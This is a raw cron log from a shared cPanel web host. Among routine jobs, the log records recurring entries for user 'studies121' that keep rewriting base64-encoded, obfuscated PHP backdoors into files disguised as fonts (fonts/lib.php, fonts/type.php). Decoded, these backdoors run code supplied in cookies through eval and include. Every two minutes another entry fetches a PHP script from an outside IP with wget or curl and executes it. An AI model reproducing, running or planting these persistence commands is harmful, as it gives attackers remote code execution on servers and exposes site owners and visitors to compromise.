Sep 12 00:53:01 ip-184-168-122-23 CROND[30989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:53:01 ip-184-168-122-23 CROND[30988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:53:01 ip-184-168-122-23 CROND[30990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:54:02 ip-184-168-122-23 CROND[31088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:54:02 ip-184-168-122-23 CROND[31092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:54:02 ip-184-168-122-23 CROND[31091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:54:02 ip-184-168-122-23 CROND[31090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:54:02 ip-184-168-122-23 CROND[31094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:55:01 ip-184-168-122-23 CROND[31198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:55:01 ip-184-168-122-23 CROND[31200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:55:01 ip-184-168-122-23 CROND[31202]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:55:01 ip-184-168-122-23 CROND[31201]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:55:01 ip-184-168-122-23 CROND[31203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:55:01 ip-184-168-122-23 CROND[31204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:56:01 ip-184-168-122-23 CROND[31390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:56:01 ip-184-168-122-23 CROND[31391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:56:01 ip-184-168-122-23 CROND[31392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:56:01 ip-184-168-122-23 CROND[31394]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:56:01 ip-184-168-122-23 CROND[31395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:57:01 ip-184-168-122-23 CROND[31485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:57:01 ip-184-168-122-23 CROND[31486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:57:01 ip-184-168-122-23 CROND[31487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:57:01 ip-184-168-122-23 CROND[31488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:58:01 ip-184-168-122-23 CROND[31572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:58:01 ip-184-168-122-23 CROND[31573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:58:01 ip-184-168-122-23 CROND[31576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:58:01 ip-184-168-122-23 CROND[31574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:58:01 ip-184-168-122-23 CROND[31575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:59:01 ip-184-168-122-23 CROND[31671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:59:01 ip-184-168-122-23 CROND[31675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:59:01 ip-184-168-122-23 CROND[31674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:59:01 ip-184-168-122-23 CROND[31673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:00:01 ip-184-168-122-23 CROND[31761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:00:01 ip-184-168-122-23 CROND[31764]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:00:01 ip-184-168-122-23 CROND[31766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:00:01 ip-184-168-122-23 CROND[31765]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:00:01 ip-184-168-122-23 CROND[31768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:00:01 ip-184-168-122-23 CROND[31773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:00:01 ip-184-168-122-23 CROND[31772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:00:01 ip-184-168-122-23 CROND[31774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:01:01 ip-184-168-122-23 CROND[31949]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 01:01:01 ip-184-168-122-23 CROND[31948]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 01:01:01 ip-184-168-122-23 CROND[31950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:01:01 ip-184-168-122-23 CROND[31951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:01:01 ip-184-168-122-23 CROND[31952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:01:01 ip-184-168-122-23 CROND[31953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31948]: starting 0anacron
Sep 12 01:01:01 ip-184-168-122-23 anacron[31969]: Anacron started on 2026-09-12
Sep 12 01:01:01 ip-184-168-122-23 anacron[31969]: Normal exit (0 jobs run)
Sep 12 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31971]: finished 0anacron
Sep 12 01:02:01 ip-184-168-122-23 CROND[32062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:02:01 ip-184-168-122-23 CROND[32063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:02:01 ip-184-168-122-23 CROND[32064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:02:01 ip-184-168-122-23 CROND[32065]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:02:01 ip-184-168-122-23 CROND[32061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:03:01 ip-184-168-122-23 CROND[32180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:03:01 ip-184-168-122-23 CROND[32182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:03:01 ip-184-168-122-23 CROND[32183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:03:01 ip-184-168-122-23 CROND[32189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:04:01 ip-184-168-122-23 CROND[32274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:04:01 ip-184-168-122-23 CROND[32277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:04:01 ip-184-168-122-23 CROND[32278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:04:01 ip-184-168-122-23 CROND[32276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:04:01 ip-184-168-122-23 CROND[32279]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:05:02 ip-184-168-122-23 CROND[32373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:05:02 ip-184-168-122-23 CROND[32377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:05:02 ip-184-168-122-23 CROND[32375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
